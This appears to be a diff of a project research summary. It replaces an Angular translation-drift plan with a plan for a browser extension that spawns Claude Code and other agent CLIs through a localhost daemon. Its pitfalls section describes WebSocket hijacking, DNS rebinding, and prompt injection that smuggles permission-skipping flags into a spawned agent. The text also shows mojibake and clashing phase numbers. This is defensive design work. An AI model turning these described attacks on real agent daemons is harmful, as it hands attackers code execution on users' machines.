Express middleware and has zero shared surface with the XLIFF work. +The recommended approach is a **security-first, contract-first, adapter-second** shape: identity capture and the Providers panel rename land first (pure additive, low risk, immediate value); then the reverse-request channel with all origin/rebind/secret/consent-tier defenses baked in from commit 1 of Phase 60; then the Claude Code MVP built AS an adapter (not hard-coded) so OpenCode/Codex/Gemini slot in without rework. **Explicitly shell to the user's installed `claude` binary โ€” do NOT embed `@anthropic-ai/claude-agent-sdk`**: Anthropic's policy prohibits third-party products from using consumer subscription auth via the SDK, but shelling to the genuine binary is standard ecosystem practice (Cline, Roo, Zed, Conductor all ship it), and that IS the product promise ("agent kind = no API key needed"). Subscription-OAuth token proxying is banned outright (Anthropic enforced this Apr 4 2026). -The key risks are process risks, not technical risks, and this project has direct, repeated evidence of exactly the failure modes to guard against: (1) a coarse CI gate (whole-file/line-count diff instead of per-`id` ``-text diff) will chronically false-positive on this repo's routine template churn and train engineers to bypass it -- exactly how WARNING-02 itself survived six-plus milestones as unaddressed debt; (2) treating `i18n`-marker presence, `state="translated"` (hardcoded unconditionally by `assemble-xliff-target.mjs`, carries zero real semantic weight), or a green `ng build` as proof of translation currency reproduces the precise blind spot this milestone exists to close -- none of those signals can detect a `` that exists but is stale; (3) orphaned `translations.stats-274.*.json` artifacts under a disjoint ID namespace look like completed stats-page work but are unverified as ever having been merged into the live `messages..xlf` files the build actually consumes. Mitigation for all three is the same: build the drift gate to compare only `` inner-text per trans-unit `id` (ignoring context-group/linenumber metadata), back-test it against this repo's own git history (11 known-clean commits + `6d3ad363`) before merging it, and trace any "already translated" artifact end-to-end into the live XLIFF files before crediting it as done. +Key risks are almost entirely security-critical and cluster in one phase (60). The spawn channel is RCE-adjacent by construction: a browser click becomes `execve(claude, -p, )` inside a localhost daemon. Every 2025-2026 CVE we surveyed (Inspector CVE-2025-49596, MCP SDK CVE-2025-66414/66416, Claude Code CVE-2025-59536, Gemini CVSS 10 workspace-trust, TrustFall one-keypress RCE across four CLIs) was the same failure class: an assumed trust boundary that was never enforced. Mitigations are known and shippable in Phase 60: strict `Origin` allowlist (extension ID only), strict `Host` = loopback (DNS-rebind defense), argv-only spawn with daemon-controlled flag set, per-install rotating shared secret in `Sec-WebSocket-Protocol` (never URL), `--strict-mcp-config` mandatory, `--dangerously-skip-permissions` NEVER exposed, POSIX detached + process-group kill / Windows `taskkill /T /F`, `chrome.storage.session` persistence for MV3 SW-eviction survival, and source-pin tripwire discipline on every extension-touching commit. ## Key Findings ### Recommended Stack -No new runtime dependency, no build-system change, no XLIFF-format migration. The milestone's tooling needs are fully satisfied by plain Node ESM scripts using `node:fs`/`node:path` only, following this repo's own established zero-dependency `verify-*.mjs` precedent. `ng-extract-i18n-merge@3.4.0` is a legitimate, actively-maintained (221 stars, published 2026-06-06) optional future adoption for reducing translator busywork at extraction time, but it rewrites `angular.json`'s `extract-i18n` builder and is explicitly NOT required to satisfy this milestone's CI-gate requirement -- treat it as a separate, later decision. `ngx-i18nsupport`/`xliffmerge` is confirmed dead (last published 2018) and must not be adopted. No commercial TMS (Lokalise, Crowdin, Smartling, Phrase, doloc.io) should be introduced; the milestone brief explicitly requires a no-paid-SaaS solution, and this site's scale (6 locales, ~942 trans-units, ~7 routes) doesn't warrant one per small-team i18n guidance. +Zero new runtime deps in `mcp/`. The supervisor is ~200-300 lines on `node:child_process spawn` + `node:readline` line framing + the existing `@modelcontextprotocol/sdk ^1.29`. Flag matrices for all four target CLIs were verified against local binaries (claude 2.1.177, codex 0.142.5, opencode 1.14.25) plus current docs (gemini 0.50.0); adapters must version-probe (` --version`) and feature-detect (Claude โ‰ฅ2.1.205 exposes a `capabilities` array in `system/init`). **Core technologies:** -- Angular CLI `ng extract-i18n` (`@angular/build ^20.3.25`), XLIFF 1.2 (OASIS): already in place, producing the files this milestone audits -- no version change, no format migration. -- Custom zero-dependency Node script(s) under `showcase/angular/scripts/`: the CI drift gate and the diagnostic audit tool -- matches the existing `verify-locale-sync.mjs`/`verify-hreflang.mjs` pattern exactly (regex/text parse, `process.exit(0/1)`). -- Node `>=24.0.0`: already the repo-wide `engines.node` floor; no new runtime requirement. -- (Optional, explicitly NOT required) `ng-extract-i18n-merge@3.4.0`: dev-time auto-merge convenience for reducing hand-editing of 5 XLIFF files per template change -- a separate decision from this milestone's CI-gate requirement, deferred. +- `node:child_process` `spawn({ detached: true, signal, windowsHide: true })` โ€” supervised child with tree-killable process group; `AbortController` per delegation for clean cancel semantics +- `node:readline` `createInterface({ input: child.stdout, crlfDelay: Infinity })` โ€” JSONL line framing that handles partial lines and stderr interleave; per-line `try { JSON.parse } catch` +- `@modelcontextprotocol/sdk ^1.29.0` โ€” `server.server.getClientVersion(): Implementation | undefined` and `oninitialized` callback verified at pinned tag; captures `clientInfo` from every `initialize` handshake (currently discarded); INV-01 safe (no wire change) +- `ws ^8.19` (existing) โ€” reverse-request channel is additive message types (`ext:request` / `ext:response` / `ext:event`) over the SAME 7225 bridge; no new transport, no new port +- Recorded JSONL fixtures per CLI (`tests/fixtures/agent-streams/`) โ€” offline contract tests that survive CI without live CLI calls -### Expected Features +**Explicit rejections:** `@anthropic-ai/claude-agent-sdk` (banned subscription auth for third parties + bundles a duplicate Claude Code binary + Claude-only), `node-pty`/any PTY (headless modes exist), `execa`/`tree-kill`/`split2` (built-ins suffice for one long-lived child shape), `--bare` on Claude (skips OAuth), URL query-string secrets, `0.0.0.0` binding, and every "auto/yolo/dangerously-skip" flag. -This is a maintenance-completeness question, not a "how to internationalize" question -- the site already shipped i18n at v0.9.63. The scope splits cleanly into what's genuinely load-bearing for "staying complete" vs. gold-plating for a 6-locale, ~7-route marketing site. +### Expected Features -**Must have (table stakes, this milestone's actual P1 scope):** -- Full-page audit verifying every translatable string on every current showcase route is genuinely translated (not just `i18n`-marked) -- the core deliverable, since no existing tool checks translation content currency. -- Resync of the trans-units with real `` drift (5 confirmed from commit `6d3ad363`, likely more once the full-page audit runs beyond that one commit's blast radius) across all 5 translated locales. -- Stats page brought to full translation coverage, with `--ignore-pattern "src/app/pages/stats/**"` removed from `lint:i18n` only AFTER coverage is verified (not before). -- WARNING-02 fix: cookie-set locale preference beats Accept-Language header on the bare-`/` redirect for returning visitors. -- New CI drift-detection gate: content-diff based (per trans-unit `id`, ``-text only), not structural-presence based; must land on a clean baseline (after audit + resync + stats-page work), not before. +Comparable products cluster in four shapes: same-dropdown (Cline/Roo), separate-section (Zed), account-provider (Xcode), hosted-picker (GitHub Agent HQ). FSB's structural difference is that every comparable fronts an agent for coding-in-a-repo; FSB fronts the agent for driving the user's live browser, and the spawned agent loops back through FSB's own MCP tools. No surveyed product does side-panel-initiated spawn of a local CLI that then controls the user's real logged-in browser. + +**Must have (table stakes):** +- Providers panel with `api`/`agent` kinds; agent kind hides key field, shows connection/install/auth state (Cline convention) +- "Uses your existing subscription โ€” no API key needed" copy on agent providers; explicit inverse ("your Anthropic BYOK key does NOT make Claude Code work") +- Installed/not-installed detection per agent with 3-state degradation ("installed" / "not installed" / "daemon offline") +- Live streaming progress feed with per-tool-call visibility (map `claude -p --output-format stream-json --include-partial-messages` events to a side-panel feed) +- Stop/kill button that actually reclaims tabs (kills tree + releases v0.9.60 tab ownership) +- Explicit offline โ†’ `fsb-mcp-server doctor` handoff (extension has no `nativeMessaging`; cannot wake the daemon) +- Consent gate before spawn + strict-permission defaults + `--strict-mcp-config` (browser-control consent conventions from Claude in Chrome / Atlas / Gemini auto-browse) +- Usage/cost reporting appropriate to kind โ€” API kind keeps cost tracker; agent kind shows tokens/turns/duration + "included in your subscription" (never fabricated dollars) +- Thread-as-session continuity (Claude/Codex/Gemini all support resume; stateless-per-message is the fallback for task-mode MVP) +- Visible in-browser activity โ€” orange glow + visual-session badges already exist + +**Should have (differentiators):** +- Ground-truth recommended default (connected > installed > copy-clicked) โ€” never auto-switch +- Live-connected roster from MCP `initialize` handshake โ€” unique observability nobody else has +- Closed-loop delegation (side panel โ†’ spawn โ†’ browser control via FSB MCP) with a shipped `fsb` agent definition via `--agents` instead of prompt-stuffing +- Multi-agent adapter contract (`AgentProviderAdapter`: `detect / buildSpawn / parseEvents / kill / caps`) +- Cross-surface session continuity โ€” surface `session_id` so `claude --resume ` works in the terminal after the side-panel run +- Doctor-integrated failure UX with layer classification +- Kill switch that reports "agent stopped, 2 tabs released" + +**Defer (v1.x / v2+):** +- Chat-mode via `--resume` + per-thread cwd pinning (task-mode ships first) +- OpenCode โ†’ Codex โ†’ Gemini adapters (contract proven on Claude Code first) +- Native-messaging host to wake the daemon (removes biggest UX cliff, adds installer + attack surface) +- ACP-based adapter unification (`@zed-industries/agent-client-protocol`) โ€” designated evolution path once โ‰ฅ2 non-Claude adapters ship +- Remote delegation surfaces (Happy-style mobile approvals) + +**Anti-features (hard NO):** +- Proxying/spoofing subscription OAuth tokens or using Agent SDK with consumer auth (Anthropic banned Apr 4 2026) +- Bundling/silent-installing agent CLIs (Conductor can; FSB is MV3 extension + npm daemon โ€” wrong shape) +- PTY/TUI screen-scraping (structured headless interfaces exist for all four) +- `--dangerously-skip-permissions` / `--yolo` / `--auto` as default or convenience toggle (RCE) +- Remote-LAN/tunnel delegation this milestone (localhost-only) +- Fabricated dollar costs for subscription-backed runs (Cline shows $0.00 โ€” mimic) +- Auto-switching provider when a "better" agent connects +- Forcing/funneling users away from BYOK (INV-03 provider parity) -**Should have (differentiators, P2/near-term follow-up, do not gate the above):** -- Native-speaker/bilingual-fluent QA pass scoped narrowly to the confirmed-drifted units + stats page (not a full 420+-unit re-review) -- v0.9.63 shipped AI-filled XLIFF with no stated native-review layer, so this is a new quality bar, not reapplication of an existing one. -- Transcreation-lens review applied only to hero headlines + primary CTAs (~10-20 strings), where literal translation most commonly fails. -- Targeted manual visual spot-check of German (text expansion) and zh-CN/zh-TW (CJK line-wrap) on the highest-copy-density routes -- a cheap substitute for full visual regression at this site's size. +### Architecture Approach -**Defer (v1.3+ or only if scale changes):** -- Full automated per-locale visual regression/screenshot-diffing pipeline. -- Migrating the stats page off its ad hoc `translations.stats-274.*.json` mechanism into the main XLIFF pipeline (worth doing eventually, not required this milestone). -- Lightweight translation-freshness/"last synced" reporting. -- Full commercial TMS adoption, re-deriving the supported-locale list, or translating the dashboard page (explicitly out of scope; dashboard is an authenticated app surface, not marketing content). +FSB v0.9.91 is a brownfield integration map โ€” the four features layer onto existing seams. `PLATFORMS` registry + `resolvePlatformTarget` handle disk detection; `AgentScope.ensure()` sends the `agent:register` payload (empty `{}` today โ€” the clientInfo seam); `mcp-bridge-client.js:_ws.onopen` mints a per-connect `connectionId` (the pattern to clone for clientInfo stamping); the ws://7225 hub already gates by browser Origin (`bridge.ts:297-309`) and handles hub-exit promotion (`:756-783`); the `serve` daemon (`index.ts:266-294`) is the only intentionally long-lived process. Delegation coexists with the extension's own agent loop by becoming the fifth `EXECUTION_MODES` entry โ€” the reasoning loop runs in the spawned CLI, not `runAgentLoop`; the daemon keeps only a session-lite record for UI state. -### Architecture Approach +**Major components (new + modified):** -The system is a linear pipeline: component templates carry `i18n` markers -> `ng extract-i18n` produces `messages.xlf` (EN source of truth) -> 5 translated XLIFF files mirror the EN `` at fill-time and carry the `` translation -> `ng build --localize` emits per-locale prerendered HTML -> Express serves it with an Accept-Language/cookie-based locale redirect. Four existing CI gates each check a different, narrow, non-overlapping axis of "looks complete" (locale-registry parity, template-marker presence, EN-source extraction completeness, per-locale target *presence*) -- none of them compares `` content across the EN file and the 5 translated files, which is exactly the gap this milestone closes. The new drift gate is genuinely additive, not duplicative. +1. **Client-identity capture glue** (NEW inline in `runtime.ts` / `agent-scope.ts`; MODIFY `mcp-tool-dispatcher.js:handleAgentRegisterRoute` + `agent-registry.js`) โ€” reads `getClientVersion()`, threads `clientInfo` through the additive `agent:register` payload, extension stamps registry AgentRecord + rolls up to durable `fsbAgentProviders.connected` +2. **Providers panel** (MODIFY `control_panel.html:146` + `options.js`) โ€” rename "API Configuration" โ†’ "Providers"; NEW `providerKind` setting alongside `modelProvider` (which stays scoped to the 7 API providers so `universal-provider.js` never sees an agent value); agent-kind hides key groups, shows installed/connected/auth state +3. **Reverse-request protocol** (NEW additive types in `mcp/src/types.ts` + `bridge.ts` + `mcp-bridge-client.js`) โ€” `ext:request` / `ext:response` / `ext:event` frames; supervisor advertises `capabilities: ['agent-spawn']` on `relay:hello`; hub routes locally or forwards to the advertising relay; Origin allowlist + shared secret + consent tier gate every frame +4. **SpawnSupervisor** (NEW `mcp/src/spawn-supervisor.ts`, ~200-300 lines, lives in the `serve` daemon) โ€” validates consent + secret, looks up adapter, `spawn` with adapter-built argv, parses stream-json into `ext:event` fan-out, kill (SIGTERM โ†’ SIGKILL escalation with negative-PID on POSIX / `taskkill /T /F` on Windows) +5. **Adapter registry** (NEW `mcp/src/agent-providers/{index,adapter,claude-code}.ts`) โ€” `AgentProviderAdapter` contract: `detect() / buildSpawn(task, ctx) / parseEvents(stream) / kill(child) / caps()`; keyed against `INSTALL_CLIENTS` + `PLATFORMS`; Claude Code first, then OpenCode/Codex/Gemini +6. **Fifth execution mode** (MODIFY `extension/ai/engine-config.js:63-108`) โ€” `delegated: { uiFeedbackChannel: 'popup-sidepanel', animatedHighlights: true, safetyLimits: wall-clock + event-silence watchdog }` (no iteration cap โ€” loop runs in the external CLI) +7. **Delegation coordinator** (MODIFY `extension/background.js` + `sidepanel.js`) โ€” `startDelegatedTask`/`stopDelegatedTask` runtime messages; delegated session-lite records persisted to `chrome.storage.session` for SW-eviction survival; MUST use same-context `fsbDispatchInternalMessage` (auto-memory: `sendMessage` never loops back in-SW) -**Major components:** -1. `verify-translation-drift.mjs` (NEW, permanent) -- parses `messages.xlf` and each of the 5 target XLIFFs into `Map`; fails the build if any id's EN `` doesn't byte-match its mirrored `` in any target file. Lives alongside the other `verify-*.mjs` scripts, wired as a new named CI step inserted after the existing "extract-i18n-clean" diff step and before `ng build`. -2. `audit-translation-completeness.mjs` (NEW, temporary/diagnostic) -- one-shot script (or manual walkthrough) to enumerate the true full scope of untranslated/drifted strings across all current showcase routes; NOT the same artifact as the CI gate (different cost/frequency profile -- heavier, infrequent, human-report-producing vs. fast/permanent/CI-blocking) and should be retired or demoted to a manual `npm run audit:i18n` script once its findings are resolved. -3. `accept-language.js` middleware (MODIFIED in place, not replaced) -- WARNING-02 fix is a ~5-line change to the cookie branch (redirect instead of short-circuit), reusing all existing parsing/matching logic unchanged; the existing `req.path !== '/'` loop guard already prevents any redirect loop. -4. Existing, unchanged: `angular.json`'s `i18n.locales` block, `locale-constants.{ts,js}`, `verify-locale-sync.mjs`, `verify-hreflang.mjs`, `DO-NOT-TRANSLATE.md` -- no new locale registry, no new XLIFF format, no new translation-storage layer. +**Spawner ownership decision:** the `serve` daemon owns spawning. Rationale: hub identity is unstable by design (any stdio server can hold the port; hub-exit promotion reshuffles roles); spawning is RCE-adjacent and needs a single explicit consent holder; the daemon is the only intentionally long-lived process; and the extension can't wake anything (no `nativeMessaging`). The hub's only new job is routing `ext:*` frames to whichever relay advertised `agent-spawn` capabilities. ### Critical Pitfalls -1. **Treating "247 trans-units changed" as "247 translations need redoing"** -- the single most important corrected fact from this research. Only 5 of 247 changed blocks have real `` text drift; 242 are harmless `` churn. Avoid by deriving the true stale-ID count from an `id`-keyed ``-text diff before any translation work is scoped or estimated, and by re-verifying the count is still accurate the moment any other template PR merges before this milestone starts (the number drifts with any unrelated commit). -2. **`i18n`-marker presence, a green `ng build`, or `state="translated"` treated as proof of a current translation** -- none of the four existing CI gates, nor the XLIFF `state` attribute (hardcoded unconditionally by `assemble-xliff-target.mjs`), detect a `` that exists but is stale relative to a changed ``. Avoid by building the audit to explicitly separate "coverage" (marker + target exists) from "currency" (target still matches current source) as two distinct verdicts per string, and by never accepting "renders without error" or "eslint passes" as evidence of currency. -3. **A coarse (whole-file or line-count) CI gate will chronically false-positive and get bypassed** -- given this repo's demonstrated churn rate (11+ prior pure-line-shift commits), a gate that fires on file-changed rather than ``-text-changed will train engineers to route around it, exactly how WARNING-02 itself went unaddressed for six-plus milestones. Avoid by diffing only `` inner-text per `id` (ignoring context-group/linenumber), and by back-testing the gate against this repo's own git history before wiring it into CI. -4. **Orphaned "already translated" artifacts (`translations.stats-274.*.json`) create false completeness signals** -- these files exist under a disjoint ID namespace (`SHOWCASE_STATS_FSB_*` vs. the live `stats.*` prefix already in `messages.xlf`) and it is unverified whether they were ever merged into the live locale files the build consumes. Avoid by tracing any such artifact end-to-end into the live `messages..xlf` before crediting it as done, and by resolving (merge or delete) rather than leaving it stranded. -5. **Normalization of deviance -- deferred debt in this project has a proven multi-milestone half-life.** WARNING-02 was deferred at v0.9.63 and carried unfixed across six-plus subsequent milestones with no mechanical forcing function; the `dashboard`/`stats` `lint:i18n` ignore-pattern is the same silence mechanism. Avoid by never recording a residual gap as prose-only deferred debt -- any newly-discovered-but-unaddressed item needs an automated check, failing test, or CI gate that makes it visible again on its own, not reliance on someone rereading old milestone notes. +The security section is the top of the pitfall stack. Every one of the top 5 is a repeat of a 2025-2026 CVE class that already shipped in the wild. + +1. **CSWSH on ws://localhost:7225 โ†’ spawn RCE** โ€” an attacker-controlled tab dials `ws://localhost:7225` and sends the delegation request. Prevention: strict `Origin` allowlist to `chrome-extension://` on the WS upgrade, `Sec-WebSocket-Protocol` shared secret, `Host` = loopback, never bind `0.0.0.0`. Reference incidents: Mailpit, Dozzle CVE-2026-44985, Nanobot. Phase 60. +2. **DNS rebinding against localhost** โ€” attacker's page resolves `evil.com` to `127.0.0.1` after the fact; loose `Host` checks pass. Prevention: `Host` header equality against `127.0.0.1`/`localhost` (port-stripped, case-folded), `Origin` allowlist still primary. Reference incidents: CVE-2025-49596 (Inspector, CVSS 9.4), CVE-2025-66414/66416 (MCP SDKs). Phase 60. +3. **Prompt-injection into spawn payload โ†’ RCE** โ€” reverse-request payload carries `--dangerously-skip-permissions` or a malicious `--mcp-config`. Prevention: daemon owns the flag set; extension provides ONLY prompt string + adapter selector; reject unknown payload keys; strict argv construction (never `sh -c`); ship an `fsb` agent definition instead of prompt-stuffing; `--strict-mcp-config` mandatory. Reference incidents: CVE-2025-59536, CVE-2025-54794/54795, TrustFall. Phases 60/61/62 (defense-in-depth). +4. **`--dangerously-skip-permissions` / `--yolo` as default or "fast mode"** โ€” 1-click RCE for any prompt injection. Prevention: PERMANENT invariant that these flags never appear in FSB's spawn path; grep-fail CI gate. Phase 60. +5. **Weak / leaked shared secret** โ€” token in `chrome.storage.sync` (sync = huge leak surface), in URL query, in diagnostic logs. Prevention: per-install `>=32-byte` random token, rotate on daemon restart, transport via `Sec-WebSocket-Protocol` header only, redaction bar extends `redactForLog`, Origin allowlist stays primary (secret is defense-in-depth). Phase 60. + +Additional load-bearing pitfalls with narrower phase homes: +- **Orphaned/zombie children on cancel** (Windows + POSIX): `spawn({ detached: true })` + `process.kill(-child.pid, 'SIGTERM')` on POSIX, `taskkill /pid /T /F` on Windows, orphan-scan on daemon startup. Phase 61. +- **Stdout backpressure deadlock**: `readline` interface, no `await` in the parse handler, drop-with-notice on side-panel close. Phase 61. +- **Daemon crash mid-run leaves CLI controlling browser**: extension-side heartbeat, spawned CLI exits when MCP transport dies, daemon restart doesn't blind-adopt. Phase 62. +- **Agent CLI stdout/flag/schema drift between versions**: adapter version detection, fail-loud on unknown events, drift-smoke CI job. Phases 61 + 63. +- **MV3 SW eviction during long delegation**: `chrome.storage.session` write per progress event, 20s WS heartbeat resets SW idle timer (Chrome 116+), `chrome.alarms` backup, extend the load-bearing v0.10.0 `setTimeout`-iterator pattern (INV-04). Phase 62. +- **Source-pin tripwire tests break the moment extension gets wired** (auto-memory): every extension-source edit updates paired tripwires in the same commit; full test suite green from commit 1 of every phase. Every extension-touching phase. +- **Chat-thread vs one-shot mismatch (`--resume` vs `-p` semantics)**: Claude Code `--continue` silently creates a new session in `-p` mode; adapter contract has explicit `mode: 'task' | 'chat'`. Phase 61 + 62. +- **User-vs-agent tab conflict**: default the delegated agent to a new background tab; explicit "take control" affordance on the active tab; `change_report` reconciliation detects user-initiated navigation. Phase 62. +- **Hub/relay bridge topology edge cases** (hub exits mid-delegation): topology tests must cover hub-exit-mid-delegation; new events are strictly additive types, existing wire byte-stable (INV-01). Phase 60 + every wire-touching phase. ## Implications for Roadmap -Based on research, the phase structure should follow the dependency chain all four researchers converged on independently: **audit first (establish true scope) -> resync (close the known + newly-found gap) -> stats-page completion (gate the ignore-pattern flip) -> drift gate (land on a clean baseline) -> WARNING-02 fix (fully independent, any time)**. Building the permanent CI gate before the audit/resync lands means it either fails on day one (pre-existing debt) or is built loose enough to miss real drift, defeating its purpose. - -### Phase 1: Full-Page Translation Completeness Audit -**Rationale:** Must run first to establish the TRUE scope of drift and missing coverage -- the milestone's own corrected framing shows the named commit's "247" figure is not the real number (it's 5, confirmed), and the audit's job is explicitly to find whatever additional drift exists beyond that one commit, since the milestone's stated goal ("every translatable string on every showcase page genuinely translated") is broader than one commit's blast radius. -**Delivers:** A per-page, per-locale, per-trans-unit currency verdict (coverage AND currency, as two distinct checks) across all current showcase routes (lattice, phantom-stream, prometheus, home, mobile nav, stats, plus the original 6 from v0.9.63); a temporary diagnostic script (`audit-translation-completeness.mjs`) that is later retired or demoted, not left running alongside the permanent gate; an explicit trace of the orphaned `translations.stats-274.*.json` artifacts into (or out of) the live `messages..xlf` files. -**Addresses:** Full-page audit target feature; stats-page sub-scope verification. -**Avoids:** Pitfall 1 (247 != real drift count), Pitfall 2 (marker presence != currency), Pitfall 4 (orphaned artifacts). - -### Phase 2: Trans-Unit Resync (Known + Audit-Discovered Drift) -**Rationale:** Must follow the audit directly -- the resync's scope is exactly the audit's findings (5 confirmed units from `6d3ad363` at minimum, plus whatever else surfaces), not a number fixed in advance from the original miscounted commit stat. -**Delivers:** All drifted trans-units resynced across es/de/ja/zh-CN/zh-TW, with `` placeholder alignment and `DO-NOT-TRANSLATE.md` brand/term rules re-verified for each resynced string (several of the known 5 involve substantive marketing-voice rewrites, not mechanical word-swaps, and deserve the same quality bar as the original v0.9.63 translation pass); stats-page translation work completed under whichever mechanism currently applies (existing `stats.*` XLIFF namespace, formalizing the JSON mechanism is explicitly out of scope this milestone). -**Addresses:** Trans-unit resync target feature; stats-page full translation coverage. -**Avoids:** Pitfall 1 (scoping the real, audit-derived count), the security-mistake in PITFALLS.md around placeholder/brand-term preservation during resync. - -### Phase 3: Stats Page Ignore-Pattern Removal -**Rationale:** A small, explicitly separate, ordered change that must come strictly after Phase 2's stats-page translation work is verified complete -- flipping the ignore-pattern before coverage is confirmed either turns CI red immediately or passes falsely. -**Delivers:** `--ignore-pattern "src/app/pages/stats/**"` removed from `lint:i18n` in `showcase/angular/package.json`; dashboard's ignore-pattern remains untouched and is captured as a permanent, intentional architectural boundary (not another "deferred, will revisit" placeholder). -**Addresses:** Stats-page target feature (ignore-pattern half). -**Avoids:** Pitfall 6 (normalization of deviance) for the dashboard-exclusion decision specifically -- document it as permanent, not prose-deferred. - -### Phase 4: New CI Drift-Detection Gate -**Rationale:** Must land only once the tree is drift-free (after Phases 1-3), so it passes on first wiring instead of immediately failing on residual pre-existing debt -- the classic "gate discovers debt it didn't cause" trap this project has direct history of falling into with prior gates. -**Delivers:** `verify-translation-drift.mjs`, following the existing `verify-locale-sync.mjs`/`verify-hreflang.mjs` zero-dependency style; diffs `` text keyed by trans-unit `id` only (never whole-file/line-count); derives the target-locale list dynamically from the existing locale registry (not hardcoded, avoiding a repeat of the prior WARNING-01 mistake); back-tested against this repo's own git history (11+ known-clean churn commits plus `6d3ad363`) before being wired hard-fail into `.github/workflows/ci.yml`'s `website` job, inserted after the existing extract-i18n-clean diff step and before `ng build`. -**Uses:** Node `>=24.0.0`, `node:fs`/`node:path` only -- no new dependency (from STACK.md). -**Implements:** Pattern 1 (ID-keyed source-text diff) from ARCHITECTURE.md. -**Avoids:** Pitfall 3 (unused `state=` attribute as a false signal -- pick a canonical staleness mechanism, e.g. ``-text diff itself, explicitly, not implicitly), Pitfall 5 (coarse-gate false positives and bypass habit). - -### Phase 5: WARNING-02 Cookie-Redirect Fix -**Rationale:** Fully independent of Phases 1-4 -- touches a completely different file (`accept-language.js`) and concern (runtime redirect behavior vs. build-time translation content); zero shared surface with the XLIFF/translation work, so it can be sequenced in parallel or in any order relative to the other phases without blocking or being blocked by them. -**Delivers:** Cookie branch changed from short-circuit (`next()`) to active redirect (`302` to `/{cookieLocale}/`) when the cookie names a valid, non-default supported locale; default-locale case (`cookieVal === 'en'`) still correctly falls through to `next()` (redirecting to `/en/` would 404, since EN's `subPath` is `""`); existing loop-guard (`req.path !== '/'`) preserved unchanged; the one existing test asserting the old short-circuit semantics (`tests/server-accept-language.test.js:81-85`) deliberately flipped to assert the new redirect behavior, called out explicitly as an intentional behavior change. -**Uses:** Existing `pickBestLocale`, `parseCookieHeader`, alias-matching logic -- all reused unchanged. -**Implements:** Pattern 2 (Cookie-Directed Redirect) from ARCHITECTURE.md. -**Avoids:** Anti-Pattern 3 in ARCHITECTURE.md ("just flip a boolean" without the default-locale special case); the UX pitfall of not re-running `verify:hreflang` after a redirect-logic change. +Phases continue from 57. The build order is dictated by dependencies (identity data enables provider UI enables delegation UI enables adapter breadth) plus a hard rule: the security foundation (Phase 60) ships before any spawn code and cannot be deferred to a "hardening" phase. -### Phase Ordering Rationale +### Phase 57 โ€” Agent identity capture (copy-clicks + clientInfo + inventory) +**Rationale:** Pure additive data layer on both sides of the wire; unblocks everything later; closes the v0.9.36 deferred "trusted MCP client identity from handshake metadata" item. Ships value on its own (control-panel roster) before any spawn work. +**Delivers:** `persistCopyClick` in `onboarding.js`; `getClientVersion()` capture in `runtime.ts`/`agent-scope.ts`; `clientInfo` field in `agent:register` payload (additive; INV-01 safe); `stampClientInfo` on `AgentRecord`; `resolvePlatformTarget` extended for cli-mode `claude-code` (binary + `~/.claude.json` detection); `fsbAgentProviders` storage schema; `getMcpClients` runtime message. +**Uses:** `platforms.ts` (existing), `agent-registry.js:stampConnectionId` pattern, SDK `^1.29.0`. +**Research flag:** LOW. + +### Phase 58 โ€” Providers panel rename + kinds + recommended default +**Rationale:** Visible value before the risky spawn work; establishes the selection the delegation UI reads; UI-only, low pitfall exposure. +**Delivers:** `control_panel.html:146` rename; `providerKind` model in `options.js`; agent rows + install/auth/connection state + recommended badge (connected > installed > copy-clicked); BYOK guard so `universal-provider.js` never sees an agent value; explicit "uses your subscription" copy per agent. +**Research flag:** LOW. -- Audit-then-resync-then-gate is a hard dependency chain, not a stylistic preference: wiring the permanent drift gate before the tree is drift-free guarantees either an immediately-red CI or a gate built loose enough to miss what it's supposed to catch -- this project has already lived through the cost of gates nobody trusts (WARNING-02's own multi-milestone limbo). -- The stats-page ignore-pattern removal is sequenced as its own phase (3) rather than folded into Phase 2's resync work, because it is explicitly a distinct, ordered "flip after verify" step per multiple researchers' independent Suggested Build Order sections -- conflating translation completion with the lint-gate flip risks shipping the flip before coverage is actually confirmed. -- WARNING-02 (Phase 5) is placed last only for narrative completeness; all four research files agree it has no dependency relationship with Phases 1-4 and can be executed in parallel with any of them if the roadmap wants to parallelize work. -- This ordering directly avoids Anti-Pattern 2 from ARCHITECTURE.md (merging the one-time audit and the permanent CI gate into one script) by keeping them as two separate phases with two separate artifacts and lifecycles. +### Phase 59 โ€” Reverse-request channel + security foundation +**Rationale:** SECURITY-CRITICAL. Pitfalls 1, 2, 3 (argv/flag rules), 5, 16 land here. Isolated in its own phase with its own tests so the INV-01 additive proof and CSWSH/rebind fixtures land before any spawn code exists. +**Delivers:** Additive `ext:request`/`ext:response`/`ext:event` types; `capabilities: ['agent-spawn']` on `relay:hello`; hub routing logic; extension pending-map + `sendExtRequest`; strict `Origin` allowlist to `chrome-extension://`; `Host` = loopback check; per-install rotating shared secret in `Sec-WebSocket-Protocol`; `redactForLog` extension for token patterns; hub-exit-mid-delegation topology test cases. +**Research flag:** MEDIUM โ€” shared-secret provisioning UX (TOFU pairing vs user-visible pairing code) and rebind fixture design. -### Research Flags +### Phase 60 โ€” Adapter contract + Claude Code MVP +**Rationale:** The integration payoff. Built AS an adapter from day one so OpenCode/Codex/Gemini slot in without rework. Pitfalls 3 (argv), 6, 7, 9, 12 land here. +**Delivers:** `AgentProviderAdapter` contract; `claude-code.ts` adapter with verified 2.1.177 flag set; `SpawnSupervisor` with POSIX process-group kill / Windows `taskkill /T /F`; `readline` stream framing; scrubbed env; stream-json event contract parser; `caps()` distinguishes task-mode vs chat-mode; adapter version detection; recorded JSONL fixtures. +**Research flag:** MEDIUM โ€” Claude Code spikes: `--agent fsb` + inline `--agents` composition; `--tools ""` Windows quoting; `.cmd` shim resolution. -Phases likely needing deeper research during planning (`/gsd-plan-phase --research-phase `): -- **Phase 1 (audit):** the exact audit methodology (static-analysis over templates vs. post-build inspection of prerendered `dist/` HTML per locale) is a design choice ARCHITECTURE.md flags as recommend-static-first but not fully settled; also needs explicit tracing logic for the `translations.stats-274.*.json` -> live-XLIFF verification. -- **Phase 4 (drift gate):** the exact back-testing protocol against this repo's own git history (which commits, what "silent on clean / fires on `6d3ad363`" acceptance criteria look like as a concrete test) should be worked out during phase planning, not assumed obvious. +### Phase 61 โ€” Delegation UX, lifecycle, and offline handoff +**Rationale:** The user-facing payoff. Pitfalls 4 (UX audit), 8, 10, 13, 14, 15 land here. +**Delivers:** Fifth `EXECUTION_MODES` entry `delegated`; `startDelegatedTask`/`stopDelegatedTask` background handlers; side-panel progress feed (init/tool/retry/result); kill switch that releases owned tabs; `chrome.storage.session` persistence per progress event; 20s WS heartbeat + `chrome.alarms` backup; explicit consent tiers; default-background-tab + "take control" affordance; post-run usage summary card; "agent offline โ†’ `doctor`" state. +**Research flag:** 